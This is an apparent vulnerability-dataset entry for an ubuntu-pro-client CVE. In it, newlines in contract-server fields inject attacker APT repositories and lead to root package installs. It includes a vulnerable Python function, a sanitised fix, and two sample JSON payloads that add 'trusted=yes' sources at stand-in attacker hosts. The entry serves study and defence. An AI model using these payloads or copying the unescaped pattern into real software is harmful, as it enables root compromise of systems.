CVE-2026-11386

ubuntu-pro-client APT source injection leads to root code execution.

• CVSS 9.0
• CWE-20
• Input Validation and Sanitization
• Remote

An input validation and injection vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client constructs APT source files (such as /etc/apt/sources.list.d/ubuntu-.list or their DEB822 equivalents) using data received directly from the contract server response via the directives.suites[] and directives.aptURL fields. Because the client utilizes Python's str.format() to write these files without performing escaping, validation, or newline character filtering, a malicious or tampered contract response containing embedded newline (\n) characters can successfully inject arbitrary, attacker-controlled deb configuration lines into root-owned APT sources. When combined with the unvalidated additionalPackages[] field—which is passed positionally into a root-executed apt-get install command—an attacker capable of spoofing or manipulating the contract response (e.g., via a compromised internal infrastructure, an intercepted connection utilizing a trusted CA, or local logical bugs) can force the client to fetch and install malicious packages. This ultimately leads to arbitrary code execution with root privileges on the affected system. This component is preinstalled on supported Ubuntu Server releases and auto-attaches by default on cloud provider Ubuntu Pro images.

CVE

CVE-2026-11386

CWE

CWE-20

CVSS base score

9.0

Published

2026-07-16

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Checking

Code defect classification

Missing Check

Category

Input Validation and Sanitization

Subcategory

Command Injection

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

ubuntu-pro-c

Solution

Upgrade the `ubuntu-advantage-tools` package to version 30.1 or newer.

malicious_contract_response = {
    "directives": {
        "aptURL": "http://archive.ubuntu.com/ubuntu\ndeb [trusted=yes] http://attacker.example.com/malicious-repo",
        "suites": ["focal-updates"],
        "additionalPackages": ["malicious-package-from-repo"]
    }
}

def configure_apt_sources_vulnerable(response_data, output_file_path):
    directives = response_data.get("directives", {})
    apt_url = directives.get("aptURL")
    suites = directives.get("suites", [])
    additional_packages = directives.get("additionalPackages", [])

    if not apt_url or not suites:
        return

    with open(output_file_path, "w") as f:
        for suite in suites:
            source_line = "deb {url} {suite} main".format(url=apt_url, suite=suite)
            f.write(source_line + "\n")

    if additional_packages:
        command_to_be_executed = ["apt-get", "install", "-y"] + additional_packages

vulnerable_output_path = "/tmp/ubuntu-pro-vulnerable.list"

configure_apt_sources_vulnerable(malicious_contract_response, vulnerable_output_path)

def generate_apt_source_line_fixed(apt_url: str, suite: str) -> str:
    """
    Constructs a single, safe APT source line representing a fix for CVE-2026-11386.

    This function sanitizes input components by taking only the first line of
    each string and stripping leading/trailing whitespace. This prevents an
    attacker from injecting new lines and arbitrary APT configuration directives.
    """
    # Sanitize each component by taking only the first line to prevent injection.
    # This directly mitigates the newline injection vector.
    safe_apt_url = apt_url.splitlines()[0].strip() if isinstance(apt_url, str) else ""
    safe_suite = suite.splitlines()[0].strip() if isinstance(suite, str) else ""

    # Do not generate a malformed line if a component is invalid or empty.
    if not safe_apt_url or not safe_suite:
        return ""

    # Format the template using only the sanitized, safe components.
    return f"deb {safe_apt_url} {safe_suite} main"

{
  "directives": {
    "suites": [
      "esm-infra/main\ndeb [trusted=yes] http://attacker.com/repo ./"
    ],
    "aptURL": "https://esm.ubuntu.com/ubuntu",
    "additionalPackages": [
      "malicious-payload"
    ]
  }
}

@misc{vaitp:cve202611386,
  title        = {{ubuntu-pro-client APT source injection leads to root code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-11386},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-11386/}}
}